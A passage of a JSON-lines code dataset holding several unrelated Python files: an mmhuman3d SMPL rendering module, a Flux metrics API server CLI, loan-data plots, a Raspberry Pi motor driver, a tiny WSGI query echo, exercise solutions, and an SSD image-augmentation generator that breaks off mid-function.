range(meshes.shape[1]):\n            mesh_person = meshes[:, person_idx]\n            if texture_image is None:\n                ply_paths = [\n                    f'{mesh_file_path}/frame{frame_idx}_'\n                    f'person{person_idx}.ply'\n                    for frame_idx in range(num_frames)\n                ]\n                save_meshes_as_plys(meshes=mesh_person, files=ply_paths)\n\n            else:\n                obj_paths = [\n                    f'{mesh_file_path}/frame{frame_idx}_'\n                    f'person{person_idx}.obj'\n                    for frame_idx in range(num_frames)\n                ]\n                save_meshes_as_objs(meshes=mesh_person, files=obj_paths)\n\n    vertices = meshes.verts_padded().view(num_frames, num_person, -1, 3)\n\n    # prepare camera matrixs\n    if Ks is not None:\n        projection = 'perspective'\n        orig_cam = None\n        if isinstance(Ks, np.ndarray):\n            Ks = torch.Tensor(Ks)\n        Ks = Ks.view(-1, num_person, 3, 3)\n        Ks = Ks[start:end]\n        Ks = Ks.view(-1, 3, 3)\n        K = K.repeat(num_frames * num_person, 1, 1)\n\n        Ks = K.inverse() @ Ks @ K\n        vertices = vertices.view(num_frames * num_person, -1, 3)\n        if T is None:\n            T = torch.zeros(num_frames, num_person, 1, 3)\n        elif isinstance(T, np.ndarray):\n            T = torch.Tensor(T)\n        T = T[start:end]\n        T = T.view(num_frames * num_person, 1, 3)\n        vertices = torch.einsum('blc,bvc->bvl', Ks, vertices + T)\n\n        R = None\n        T = None\n        vertices = vertices.view(num_frames, num_person, -1, 3)\n\n    if orig_cam is not None:\n        if isinstance(orig_cam, np.ndarray):\n            orig_cam = torch.Tensor(orig_cam)\n        projection = 'weakperspective'\n        r = render_resolution[1] / render_resolution[0]\n        orig_cam = orig_cam[start:end]\n        orig_cam = orig_cam.view(num_frames, num_person, 4)\n        # if num_person > 1:\n        sx, sy, tx, ty = torch.unbind(orig_cam, -1)\n\n        vertices[..., 0] += tx.view(num_frames, num_person, 1)\n        vertices[..., 1] += ty.view(num_frames, num_person, 1)\n        vertices[..., 0] *= sx.view(num_frames, num_person, 1)\n        vertices[..., 1] *= sy.view(num_frames, num_person, 1)\n        orig_cam = torch.tensor([1.0, 1.0, 0.0,\n                                 0.0]).view(1, 4).repeat(num_frames, 1)\n        K, R, T = WeakPerspectiveCameras.convert_orig_cam_to_matrix(\n            orig_cam=orig_cam,\n            znear=torch.min(vertices[..., 2] - 1),\n            aspect_ratio=r)\n\n    if num_person > 1:\n        vertices = vertices.reshape(num_frames, -1, 3)\n    else:\n        vertices = vertices.view(num_frames, -1, 3)\n    meshes = meshes.update_padded(new_verts_padded=vertices)\n\n    # orig_cam and K are None, use look_at_view\n    if K is None:\n        projection = 'fovperspective'\n        K, R, T = compute_orbit_cameras(\n            at=(torch.mean(vertices.view(-1, 3), 0)).detach().cpu(),\n            orbit_speed=orbit_speed,\n            batch_size=num_frames,\n            convention=convention)\n        convention = 'pytorch3d'\n\n    if isinstance(R, np.ndarray):\n        R = torch.Tensor(R).view(-1, 3, 3)\n    elif isinstance(R, torch.Tensor):\n        R = R.view(-1, 3, 3)\n    elif isinstance(R, list):\n        R = torch.Tensor(R).view(-1, 3, 3)\n    elif R is None:\n        pass\n    else:\n        raise ValueError(f'Wrong type of R: {type(R)}!')\n\n    if R is not None:\n        if len(R) > num_frames:\n            R = R[start:end]\n\n    if isinstance(T, np.ndarray):\n        T = torch.Tensor(T).view(-1, 3)\n    elif isinstance(T, torch.Tensor):\n        T = T.view(-1, 3)\n    elif isinstance(T, list):\n        T = torch.Tensor(T).view(-1, 3)\n    elif T is None:\n        pass\n    else:\n        raise ValueError(f'Wrong type of T: {type(T)}!')\n\n    if T is not None:\n        if len(T) > num_frames:\n            T = T[start:end]\n\n    if isinstance(K, np.ndarray):\n        K = torch.Tensor(K).view(-1, K.shape[-2], K.shape[-1])\n    elif isinstance(K, torch.Tensor):\n        K = K.view(-1, K.shape[-2], K.shape[-1])\n    elif isinstance(K, list):\n        K = torch.Tensor(K)\n        K = K.view(-1, K.shape[-2], K.shape[-1])\n    else:\n        raise ValueError(f'Wrong type of K: {type(K)}!')\n\n    if K is not None:\n        if len(K) > num_frames:\n            K = K[start:end]\n\n    assert projection in [\n        'perspective', 'weakperspective', 'orthographics', 'fovorthographics',\n        'fovperspective'\n    ], f'Wrong camera projection: {projection}'\n    if projection in ['fovperspective', 'perspective']:\n        is_perspective = True\n    elif projection in [\n            'fovorthographics', 'weakperspective', 'orthographics'\n    ]:\n        is_perspective = False\n    if projection in ['fovperspective', 'fovorthographics', 'weakperspective']:\n        assert in_ndc\n\n    K, R, T = convert_camera_matrix(\n        convention_dst='pytorch3d',\n        K=K,\n        R=R,\n        T=T,\n        is_perspective=is_perspective,\n        convention_src=convention,\n        resolution_src=render_resolution,\n        in_ndc_src=in_ndc,\n        in_ndc_dst=in_ndc)\n\n    # initialize the renderer.\n    renderer = SMPLRenderer(\n        resolution=render_resolution,\n        device=device,\n        output_path=output_path,\n        return_tensor=return_tensor,\n        alpha=alpha,\n        read_img_format=img_format,\n        render_choice=render_choice,\n        frames_folder=frames_folder,\n        plot_kps=plot_kps,\n        vis_kp_index=vis_kp_index,\n        final_resolution=final_resolution,\n        **render_param_dict)\n\n    cameras = build_cameras(\n        dict(\n            type=projection,\n            in_ndc=in_ndc,\n            device=device,\n            K=K,\n            R=R,\n            T=T,\n            resolution=render_resolution))\n\n    if image_array is not None:\n        image_array = torch.Tensor(image_array)\n        image_array = align_input_to_padded(\n            image_array, ndim=4, batch_size=num_frames, padding_mode='ones')\n    # prepare the render data.\n    render_data = dict(\n        images=image_array,\n        meshes=meshes,\n        cameras=cameras,\n        joints=joints,\n        joints_gt=kp3d,\n    )\n\n    results = render_runner.render(\n        renderer=renderer,\n        device=device,\n        batch_size=batch_size,\n        output_path=output_path,\n        return_tensor=return_tensor,\n        no_grad=no_grad,\n        verbose=verbose,\n        **render_data)\n\n    if remove_folder:\n        if Path(frames_folder).is_dir():\n            shutil.rmtree(frames_folder)\n\n    if return_tensor:\n        return results\n    else:\n        return None\n\n\ndef visualize_smpl_calibration(\n    K,\n    R,\n    T,\n    resolution,\n    **kwargs,\n) -> None:\n    \"\"\"Visualize a smpl mesh which has opencv calibration matrix defined in\n    screen.\"\"\"\n    assert K is not None, '`K` is required.'\n    assert resolution is not None, '`resolution`(h, w) is required.'\n    func = partial(\n        render_smpl,\n        projection='perspective',\n        convention='opencv',\n        orig_cam=None,\n        in_ndc=False)\n    for k in func.keywords.keys():\n        if k in kwargs:\n            kwargs.pop(k)\n    return func(K=K, R=R, T=T, resolution=resolution, **kwargs)\n\n\ndef visualize_smpl_hmr(cam_transl,\n                       bbox=None,\n                       kp2d=None,\n                       focal_length=5000,\n                       det_width=224,\n                       det_height=224,\n                       bbox_format='xyxy',\n                       **kwargs) -> None:\n    \"\"\"Simplest way to visualize HMR or SPIN or Smplify pred smpl with origin\n    frames and predicted cameras.\"\"\"\n    if kp2d is not None:\n        bbox = convert_kp2d_to_bbox(kp2d, bbox_format=bbox_format)\n    Ks = convert_bbox_to_intrinsic(bbox, bbox_format=bbox_format)\n    K = torch.Tensor(\n        get_default_hmr_intrinsic(\n            focal_length=focal_length,\n            det_height=det_height,\n            det_width=det_width))\n    func = partial(\n        render_smpl,\n        projection='perspective',\n        convention='opencv',\n        in_ndc=False,\n        K=None,\n        R=None,\n        orig_cam=None,\n    )\n    if isinstance(cam_transl, np.ndarray):\n        cam_transl = torch.Tensor(cam_transl)\n    T = torch.cat([\n        cam_transl[..., [1]], cam_transl[..., [2]], 2 * focal_length /\n        (det_width * cam_transl[..., [0]] + 1e-9)\n    ], -1)\n    for k in func.keywords.keys():\n        if k in kwargs:\n            kwargs.pop(k)\n    return func(Ks=Ks, K=K, T=T, **kwargs)\n\n\ndef visualize_smpl_vibe(orig_cam=None,\n                        pred_cam=None,\n                        bbox=None,\n                        output_path='sample.mp4',\n                        resolution=None,\n                        aspect_ratio=1.0,\n                        bbox_scale_factor=1.25,\n                        bbox_format='xyxy',\n                        **kwargs) -> None:\n    \"\"\"Simplest way to visualize pred smpl with origin frames and predicted\n    cameras.\"\"\"\n    assert resolution is not None\n    if pred_cam is not None and bbox is not None:\n        orig_cam = torch.Tensor(\n            convert_crop_cam_to_orig_img(pred_cam, bbox, resolution[1],\n                                         resolution[0], aspect_ratio,\n                                         bbox_scale_factor, bbox_format))\n    assert orig_cam is not None, '`orig_cam` is required.'\n\n    func = partial(\n        render_smpl,\n        projection='weakperspective',\n        convention='opencv',\n        in_ndc=True,\n    )\n    for k in func.keywords.keys():\n        if k in kwargs:\n            kwargs.pop(k)\n    return func(\n        orig_cam=orig_cam,\n        output_path=output_path,\n        resolution=resolution,\n        **kwargs)\n\n\ndef visualize_T_pose(num_frames,\n                     body_model_config=None,\n                     body_model=None,\n                     orbit_speed=1.0,\n                     **kwargs) -> None:\n    \"\"\"Simplest way to visualize a sequence of T pose.\"\"\"\n    assert num_frames > 0, '`num_frames` is required.'\n    assert body_model_config is not None or body_model is not None\n    model_type = body_model_config[\n        'type'] if body_model_config is not None else body_model.name(\n        ).replace('-', '').lower()\n    if model_type == 'smpl':\n        poses = torch.zeros(num_frames, 72)\n    else:\n        poses = torch.zeros(num_frames, 165)\n\n    func = partial(\n        render_smpl,\n        betas=None,\n        transl=None,\n        verts=None,\n        convention='pytorch3d',\n        projection='fovperspective',\n        K=None,\n        R=None,\n        T=None,\n        origin_frames=None)\n    for k in func.keywords.keys():\n        if k in kwargs:\n            kwargs.pop(k)\n    return func(\n        poses=poses,\n        body_model_config=body_model_config,\n        body_model=body_model,\n        orbit_speed=orbit_speed,\n        **kwargs)\n\n\ndef visualize_smpl_pose(poses=None, verts=None, **kwargs) -> None:\n    \"\"\"Simplest way to visualize a sequence of smpl pose.\n\n    Cameras will focus on the center of smpl mesh. `orbit speed` is\n    recommended.\n    \"\"\"\n    assert (poses\n            is not None) or (verts\n                             is not None), 'Pass either `poses` or `verts`.'\n    func = partial(\n        render_smpl,\n        convention='opencv',\n        projection='fovperspective',\n        K=None,\n        R=None,\n        T=None,\n        in_ndc=True,\n        origin_frames=None,\n        frame_list=None,\n        image_array=None)\n    for k in func.keywords.keys():\n        if k in kwargs:\n            kwargs.pop(k)\n    return func(poses=poses, verts=verts, **kwargs)\n","repo_name":"open-mmlab/mmhuman3d","sub_path":"mmhuman3d/core/visualization/visualize_smpl.py","file_name":"visualize_smpl.py","file_ext":"py","file_size_in_byte":47826,"program_lang":"python","lang":"en","doc_type":"code","stars":1016,"dataset":"github-code","pt":"77"}
+{"seq_id":"19477740637","text":"import argparse\nimport os\nimport sys\n\nimport uvicorn\nfrom starlette.applications import Starlette\n\nimport flux_metrics_api\nimport flux_metrics_api.defaults as defaults\nimport flux_metrics_api.metrics as metrics\nfrom flux_metrics_api.logger import setup_logger\nfrom flux_metrics_api.routes import routes\n\n\ndef get_parser():\n    parser = argparse.ArgumentParser(\n        description=\"Flux Metrics API\",\n        formatter_class=argparse.RawTextHelpFormatter,\n    )\n\n    # Global Variables\n    parser.add_argument(\n        \"--debug\",\n        help=\"use verbose logging to debug.\",\n        default=False,\n        action=\"store_true\",\n    )\n\n    parser.add_argument(\n        \"--quiet\",\n        help=\"Silence most output and logging.\",\n        default=False,\n        action=\"store_true\",\n    )\n\n    parser.add_argument(\n        \"--version\",\n        dest=\"version\",\n        help=\"show software version.\",\n        default=False,\n        action=\"store_true\",\n    )\n\n    subparsers = parser.add_subparsers(\n        help=\"flux_metrics_api actions\",\n        title=\"actions\",\n        description=\"actions\",\n        dest=\"command\",\n    )\n\n    # print version and exit\n    subparsers.add_parser(\"version\", description=\"show software version\")\n\n    # Local shell with client loaded\n    start = subparsers.add_parser(\n        \"start\",\n        description=\"Start the running server.\",\n        formatter_class=argparse.RawTextHelpFormatter,\n    )\n    start.add_argument(\n        \"--port\",\n        help=\"Port to run application (defaults to 8443)\",\n        default=8443,\n        type=int,\n    )\n    start.add_argument(\"--namespace\", help=\"Namespace the API is running in\")\n    start.add_argument(\n        \"--service-name\", help=\"Service name the metrics service is running from\"\n    )\n    start.add_argument(\"--custom-metric\", help=\"A Python file with custom metrics\")\n    start.add_argument(\n        \"--api-path\",\n        dest=\"api_path\",\n        help=\"Custom API path (defaults to /apis/custom.metrics.k8s.io/v1beta2)\",\n        default=None,\n    )\n    start.add_argument(\n        \"--host\",\n        help=\"Host address to run application\",\n        default=\"0.0.0.0\",\n    )\n    start.add_argument(\n        \"--verbose\",\n        help=\"add verbose metrics about server usage and garbage collection (not related to Flux).\",\n        default=False,\n        action=\"store_true\",\n    )\n    start.add_argument(\n        \"--no-cache\",\n        help=\"Do not cache Kubernetes API responses.\",\n        default=False,\n        action=\"store_true\",\n    )\n    start.add_argument(\"--ssl-keyfile\", help=\"full path to ssl keyfile\")\n    start.add_argument(\"--ssl-certfile\", help=\"full path to ssl certfile\")\n    return parser\n\n\ndef start(args):\n    \"\"\"\n    Start the server with uvicorn\n    \"\"\"\n    # Validate certificates if provided\n    if args.ssl_keyfile and not args.ssl_certfile:\n        sys.exit(\"A --ssl-keyfile was provided without a --ssl-certfile.\")\n    if args.ssl_certfile and not args.ssl_keyfile:\n        sys.exit(\"A --ssl-certfile was provided without a --ssl-keyfile.\")\n\n    # The user wants to add a file with custom metrics\n    if args.custom_metric:\n        metrics.add_custom_metrics(args.custom_metric)\n    app = Starlette(debug=args.debug, routes=routes)\n    uvicorn.run(\n        app,\n        host=args.host,\n        port=args.port,\n        ssl_keyfile=args.ssl_keyfile,\n        ssl_certfile=args.ssl_certfile,\n    )\n\n\ndef main():\n    parser = get_parser()\n\n    def help(return_code=0):\n        version = flux_metrics_api.__version__\n\n        print(\"\\nFlux Prometheus v%s\" % version)\n        parser.print_help()\n        sys.exit(return_code)\n\n    # If the user didn't provide any arguments, show the full help\n    if len(sys.argv) == 1:\n        help()\n\n    # If an error occurs while parsing the arguments, the interpreter will exit with value 2\n    args, _ = parser.parse_known_args()\n    if args.debug is True:\n        os.environ[\"MESSAGELEVEL\"] = \"DEBUG\"\n\n    # Show the version and exit\n    if args.command == \"version\" or args.version:\n        print(flux_metrics_api.__version__)\n        sys.exit(0)\n\n    setup_logger(\n        quiet=args.quiet,\n        debug=args.debug,\n    )\n\n    # Setup the registry - non verbose is default\n    if args.api_path is not None:\n        defaults.API_ROOT = args.api_path\n    print(f\"API endpoint is at {defaults.API_ROOT}\")\n\n    # Do not cache responses\n    if args.no_cache is True:\n        defaults.USE_CACHE = False\n\n    # Set namespace or service name to be different than defaults\n    if args.namespace:\n        defaults.NAMESPACE = args.namespace\n    print(f\"Running from namespace {defaults.NAMESPACE}\")\n\n    if args.service_name:\n        defaults.SERVICE_NAME = args.service_name\n    print(f\"Service name {defaults.SERVICE_NAME}\")\n\n    # Does the user want a shell?\n    if args.command == \"start\":\n        return start(args)\n\n    sys.exit(f\"{args.command} is not a known command.\")\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"converged-computing/flux-metrics-api","sub_path":"flux_metrics_api/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4945,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"2598087477","text":"\"\"\"Lending Club Data\"\"\"\n\nimport matplotlib.pyplot as plt \n\nimport pandas as pd \n\nloansData = pd.read_csv('https://github.com/Thinkful-Ed/curric-data-001-data-sets/raw/master/loans/loansData.csv')\n\nloansData.dropna(inplace=True)\n\n\"\"\"Boxplot\"\"\"\n\nloansData.boxplot(column= \"Amount.Requested\")\n\nplt.show()\n\n\n\"\"\"Histogram\"\"\"\nloansData.hist(column= \"Amount.Requested\")\n\nplt.show()\n\n\"\"\"QQ plot\"\"\"\n\nimport scipy.stats as stats\n\nplt.figure()\n\ngraph = stats.probplot(loansData[\"Amount.Requested\"], dist=\"norm\", plot=plt)\n\nplt.show()\n\n\"\"\"Amounts between 5000 and 10000 seem to be both highly requested\nand highly funded as values displayed on histogram. Amounts greater than\n20000 were not requested as much\"\"\"\n\n\n\n","repo_name":"nehilal89/Thinkful","sub_path":"prob_lending.py","file_name":"prob_lending.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6364254255","text":"import RPi.GPIO as GPIO\nimport threading\nfrom time import sleep\n\nmotor_a_pwm = 12\nmotor_a0 = 13\nmotor_a1 = 15\n\nmotor_b_pwm = 16\nmotor_b0 = 18\nmotor_b1 = 19\n\nfrequency = 1\n\nGPIO.setmode(GPIO.BOARD)\n\nGPIO.setup(motor_a_pwm, GPIO.OUT)\n\npwm_a = GPIO.PWM(motor_a_pwm, frequency)\n\nGPIO.setup(motor_a0, GPIO.OUT)\nGPIO.setup(motor_a1, GPIO.OUT)\n\nGPIO.setup(motor_b_pwm, GPIO.OUT)\n\npwm_b = GPIO.PWM(motor_b_pwm, frequency)\n\nGPIO.setup(motor_b0, GPIO.OUT)\nGPIO.setup(motor_b1, GPIO.OUT)\n\nshutdown = False\n\nepsilon = 0.01\n\ntarget = (0.0, 0.0)\ncurrent = (0.0, 0.0)\n\n\ndef get_speed(dx):\n    return 75.0  # to calculate\n\n\ndef sendTarget(pos):\n    (phi, theta) = pos\n    if len(pos) == 2:\n        target = pos\n        return 0\n    return 1\n\n\ndef loop():\n    while not shutdown:\n        (target_phi, target_theta) = target\n        (current_phi, current_theta) = current\n        \n        dPhi = target_phi - current_phi\n        dTheta = target_theta - current_theta\n\n        moveA = False\n        moveB = False\n        \n        if dPhi < epsilon:\n            GPIO.output(motor_a0, GPIO.LOW)\n            GPIO.output(motor_a1, GPIO.LOW)\n        if dTheta < epsilon:\n            GPIO.output(motor_b0, GPIO.LOW)\n            GPIO.output(motor_b1, GPIO.LOW)\n        if moveA and dPhi > 0:\n            GPIO.output(motor_a0, GPIO.HIGH)\n            GPIO.output(motor_a1, GPIO.LOW)\n            pwm_a.ChangeDutyCycle(get_speed(dPhi))\n        elif moveA:\n            GPIO.output(motor_a0, GPIO.LOW)\n            GPIO.output(motor_a1, GPIO.HIGH)\n            pwm_a.ChangeDutyCycle(get_speed(dPhi))\n        if moveB and dTheta > 0:\n            GPIO.output(motor_b0, GPIO.HIGH)\n            GPIO.output(motor_b1, GPIO.LOW)\n            pwm_b.ChangeDutyCycle(get_speed(dTheta))\n        elif moveA:\n            GPIO.output(motor_b0, GPIO.LOW)\n            GPIO.output(motor_b1, GPIO.HIGH)\n            pwm_b.ChangeDutyCycle(get_speed(dTheta))\n        \n        sleep(0.05)\n    \n    pwm_a.ChangeDutyCycle(100)\n    pwm_b.ChangeDutyCycle(100)\n\n    GPIO.output(motor_a0, GPIO.HIGH)\n    GPIO.output(motor_a1, GPIO.HIGH)\n    GPIO.output(motor_b0, GPIO.HIGH)\n    GPIO.output(motor_b1, GPIO.HIGH)\n\n    pwm_a.stop()\n    pwm_b.stop()\n    GPIO.cleanup()\n\n\n\n\ndef stop(t):\n    global shutdown\n    shutdown = True\n    t.join()\n\ndef start():\n    t = threading.Thread(target=loop)\n    t.start()\n    return t\n\n\n\nt = start()\nsleep(1)\nstop(t)","repo_name":"RadioTelescopeAGH/shield-server","sub_path":"drivers/drivers.py","file_name":"drivers.py","file_ext":"py","file_size_in_byte":2382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"1625918789","text":"# -*- coding: utf-8 -*-\n\nimport cgi\n\ndef application(environ, start_response):\n    \n    start_response(\"200 OK\", [('Content-Type','text/html')])\n    \n    method = environ.get('REQUEST_METHOD')\n    \n    print_char = \"\"\n    \n    if method == \"GET\":\n        query = cgi.parse_qsl(environ.get('QUERY_STRING'))\n        \n        for params in query:\n            print_char += params[0] + \":\" + params[1] + \"<br>\"\n            \n        return print_char\n\n    return \"pythonでmod_wsgi\"\n","repo_name":"ooohiroyukiooo/python","sub_path":"python-training/mod_wsgi/request_get.py","file_name":"request_get.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18785105982","text":"from math import ceil\nfrom collections import deque\n\n\ndef solution(progresses, speeds):\n    arr = []\n    answer = []\n    idx = 0\n\n    for p, s in zip(progresses, speeds):\n        arr.append(ceil((100-p)//s))\n    \n    print(arr)\n    for i in range(len(arr)):\n        if arr[idx] < arr[i]:\n            answer.append(i-idx)\n            idx = i\n\n    answer.append(len(arr)-idx)\n\n    return answer\n\n# print(solution([95, 90, 99, 99, 80, 99],[1, 1, 1, 1, 1, 1]))\nprint(solution([96,94],[3,3]))","repo_name":"baedonguri/JungleAlgorithm","sub_path":"알고리즘스터디/week01/03_기능개발.py","file_name":"03_기능개발.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"33673884653","text":"import Alessandra \n\n#exercicio 1\n\narray1 = Alessandra.gerar_ndarray(0,100,10)\narray2 = Alessandra.gerar_ndarray(0,100,10)\n\narray3 = Alessandra.somar(array1, array2)\n\n#exercicio 2 \narray3 = Alessandra.redimensionar_array (array3, 2,5)\n\narray3 = Alessandra.converter_float(array3)\n\narray3 = Alessandra.transpostas(array3)\n\n#exercicio3\n\narray4 = Alessandra.gerar_ndarray(0,100,10)\n\narray4 = Alessandra.redimensionar_array (array4, 5, 2)\n\narray4 = Alessandra.multiplicar(array3, array4)\n\n#execicio 4\nexercicio4 = Alessandra.ex_4(0,10,6)\nprint (array1)\nprint (array2)\nprint (array3)\nprint (array4)\nprint (exercicio4)\n","repo_name":"AlessandraBello/Atividade_LP","sub_path":"executavel.py","file_name":"executavel.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41543611532","text":"\"\"\"\n元ソース：Port of Single Shot MultiBox Detector to Keras\nhttps://github.com/rykov8/ssd_keras\nSSD_training.ipynb\n\"\"\"\n\nimport sys\nsys.path.append(r'C:\\Users\\shingo\\jupyter_notebook\\tfgpu_py36_work\\AI_Edge_Contest\\object_detection\\SSD_classes_py\\all_SSD_module\\SSD')\n\nimport random\nimport os\nimport numpy as np\nimport PIL.ImageFilter\nfrom random import shuffle\nfrom scipy.misc import imresize\nfrom keras.preprocessing.image import img_to_array\nfrom keras.preprocessing.image import transform_matrix_offset_center\n#from keras.preprocessing.image import apply_affine_transform\nfrom keras.preprocessing.image import apply_transform\nfrom dtc_util_edit import load_img\nfrom ssd_vgg import input_shape\nfrom ssd_vgg import preprocess_input\n\n\nclass Generator(object):\n    def __init__(self, boxes, bbox_util,\n                 train_path_list, val_path_list, image_size, batch_size):\n        self.boxes = boxes\n        self.bbox_util = bbox_util\n        self.train_file_paths = train_path_list\n        self.val_file_paths = val_path_list\n        self.train_batches = len(train_path_list)\n        self.val_batches = len(val_path_list)\n        self.image_size = image_size\n        self.batch_size = batch_size\n\n        self.min_box_size = 0.2\n        self.saturation_var = 0.50\n        self.brightness_var = 0.50\n        self.contrast_var = 0.50\n        self.lighting_std = 0.50\n        self.blur_prob = 0.0\n        self.blur_intensity = 1\n        self.hflip_prob = 0.5\n        self.vflip_prob = 0.0\n        self.zoom_prob = 0.3\n        self.zoom_range = (0.9, 1.1)\n        self.shift_prob = 0.5\n        self.shift_wrg = 0.05\n        self.shift_hrg = 0.05\n        self.crop_prob = 0.9\n        self.crop_area_range = [0.7, 1.0]\n        self.crop_aspect_range = [4.0/5.0, 5.0/4.0]\n\n        self.color_jitter = []\n        if self.saturation_var:\n            self.color_jitter.append(self.saturation)\n        if self.brightness_var:\n            self.color_jitter.append(self.brightness)\n        if self.contrast_var:\n            self.color_jitter.append(self.contrast)\n\n    def grayscale(self, rgb):\n        return rgb.dot([0.299, 0.587, 0.114])\n\n    def saturation(self, rgb):\n        gs = self.grayscale(rgb)\n        alpha = 2 * np.random.random() * self.saturation_var\n        alpha += 1 - self.saturation_var\n        rgb = rgb * alpha + (1 - alpha) * gs[:, :, None]\n        return np.clip(rgb, 0, 255)\n\n    def brightness(self, rgb):\n        alpha = 2 * np.random.random() * self.brightness_var\n        alpha += 1 - self.saturation_var\n        rgb = rgb * alpha\n        return np.clip(rgb, 0, 255)\n\n    def contrast(self, rgb):\n        gs = self.grayscale(rgb).mean() * np.ones_like(rgb)\n        alpha = 2 * np.random.random() * self.contrast_var\n        alpha += 1 - self.contrast_var\n        rgb = rgb * alpha + (1 - alpha) * gs\n        return np.clip(rgb, 0, 255)\n\n    def lighting(self, img):\n        cov = np.cov(img.reshape(-1, 3) / 255.0, rowvar=False)\n        eigval, eigvec = np.linalg.eigh(cov)\n        noise = np.random.randn(3) * self.lighting_std\n        noise = eigvec.dot(eigval * noise) * 255\n        img += noise\n        return np.clip(img, 0, 255)\n\n    def blur(self, img, radius=1):\n        if np.random.random() < self.blur_prob:\n            img = img.filter(PIL.ImageFilter.GaussianBlur(radius=radius))\n        return img\n\n    def horizontal_flip(self, img, boxes):\n        if np.random.random() < self.hflip_prob:\n            img = img[:, ::-1]\n            boxes[:, [0, 2]] = 1 - boxes[:, [2, 0]]\n        return img, boxes\n\n    def vertical_flip(self, img, y):\n        if np.random.random() < self.vflip_prob:\n            img = img[::-1, :]\n            y[:, [1, 3]] = 1 - y[:, [3, 1]]\n        return img, y\n\n    def random_zoom(self, img, boxes):\n        if self.zoom_prob < np.random.random():\n            return img, boxes\n\n        original_img = np.copy(img)\n        original_boxes = np.copy(boxes)\n\n        r = np.random.uniform(self.zoom_range[0], self.zoom_range[1])\n        zoom_matrix = np.array([[r, 0, 0],\n                                [0, r, 0],\n                                [0, 0, 1]])\n\n        img_h = img.shape[0]\n        img_w = img.shape[1]\n        transform_matrix = transform_matrix_offset_center(zoom_matrix, img_h, img_w)\n        #img = apply_affine_transform(img, zx=r, zy=r, channel_axis=2, fill_mode=\"constant\", cval=1000)\n        img = apply_transform(img, transform_matrix, 2, \"constant\", 1000)\n\n        # 正解ボックスを変形させる\n        w_rel = (boxes[:, [2]] - boxes[:, [0]]) / r\n        h_rel = (boxes[:, [3]] - boxes[:, [1]]) / r\n        dx = (boxes[:, [0]] - 0.5) * (1 - 1/r)\n        dy = (boxes[:, [1]] - 0.5) * (1 - 1/r)\n        boxes[:, [0]] -= dx\n        boxes[:, [1]] -= dy\n        boxes[:, [2]] = boxes[:, [0]] + w_rel\n        boxes[:, [3]] = boxes[:, [1]] + h_rel\n\n        for box in boxes:\n            cx = 0.5 * (box[0] + box[2])\n            cy = 0.5 * (box[1] + box[3])\n            w = box[2] - box[0]\n            h = box[3] - box[1]\n            if (cx < 0.0 or 1.0 < cx or  cy < 0.0 or 1.0 < cy) or (w < 0.2 or h < 0.2):\n                # 正解ボックスの中心が拡大後に無くなる場合や極端に小さくなる場合は変換前の画像を返す\n                return original_img, original_boxes\n\n        boxes = np.clip(boxes, 0.0, 1.0)\n\n        #for box in boxes:\n        #    coord = (box[0]*img_w, box[1]*img_h), (box[2]-box[0])*img_w, (box[3]-box[1])*img_h\n        #    colors = plt.cm.hsv(np.linspace(0, 1, 21)).tolist()\n        #    plt.imshow(img / 255.)\n        #    currentAxis = plt.gca()\n        #    currentAxis.add_patch(plt.Rectangle(*coord, fill=False, edgecolor=colors[3], linewidth=8))\n        #    plt.savefig(\"zoom_sample.jpg\")\n        #    plt.clf()\n        return img, boxes\n\n    def random_shift(self, img, boxes):\n        if self.shift_prob < np.random.random():\n            return img, boxes\n\n        original_img = np.copy(img)\n        original_boxes = np.copy(boxes)\n\n        img_h = img.shape[0]\n        img_w = img.shape[1]\n        tx = np.random.uniform(-self.shift_hrg, self.shift_hrg) * img_h\n        ty = np.random.uniform(-self.shift_wrg, self.shift_wrg) * img_w\n        dx = int(-ty)\n        dy = int(-tx)\n        translation_matrix = np.array([[1, 0, tx],\n                                       [0, 1, ty],\n                                       [0, 0, 1]])\n        transform_matrix = translation_matrix\n        #img = apply_affine_transform(img, tx=tx, ty=ty, channel_axis=2, fill_mode=\"nearest\", cval=0)\n        img = apply_transform(img, transform_matrix, 2, \"nearest\", 0)\n\n        # 正解ボックスを変形させる\n        dy /= img.shape[0]\n        dx /= img.shape[1]\n        boxes[:, [0, 2]] += dx\n        boxes[:, [1, 3]] += dy\n        boxes = np.clip(boxes, 0.0, 1.0)\n\n        for box in boxes:\n            w_rel = box[2] - box[0]\n            h_rel = box[3] - box[1]\n            if w_rel < self.min_box_size or h_rel < self.min_box_size:\n                # 極端に正解ボックスが小さくなる場合は変換前の画像を返す\n                return original_img, original_boxes\n\n            # coord = (box[0]*img_w, box[1]*img_h), w_rel*img_w, h_rel*img_h\n            # colors = plt.cm.hsv(np.linspace(0, 1, 21)).tolist()\n            # plt.imshow(img / 255.)\n            # currentAxis = plt.gca()\n            # currentAxis.add_patch(plt.Rectangle(*coord, fill=False, edgecolor=colors[3], linewidth=8))\n            # plt.savefig(\"shift_sample.jpg\")\n            # plt.clf()\n        return img, boxes\n\n    def random_sized_crop(self, img, boxes):\n        if self.crop_prob < np.random.random():\n            return img, boxes\n\n        original_img = np.copy(img)\n        original_boxes = np.copy(boxes)\n\n        img_h = img.shape[0]\n        img_w = img.shape[1]\n        img_area = img_w * img_h\n        random_scale = np.random.random()\n        random_scale *= (self.crop_area_range[1] -\n                         self.crop_area_range[0])\n        random_scale += self.crop_area_range[0]\n        target_area = random_scale * img_area\n        random_ratio = np.random.random()\n        random_ratio *= (self.crop_aspect_range[1] -\n                         self.crop_aspect_range[0])\n        random_ratio += self.crop_aspect_range[0]\n\n        # 面積を変えずに縦横の長さを変形\n        w = np.round(np.sqrt(target_area * random_ratio))\n        h = np.round(np.sqrt(target_area / random_ratio))\n        if np.random.random() < 0.5:\n            w, h = h, w\n        # 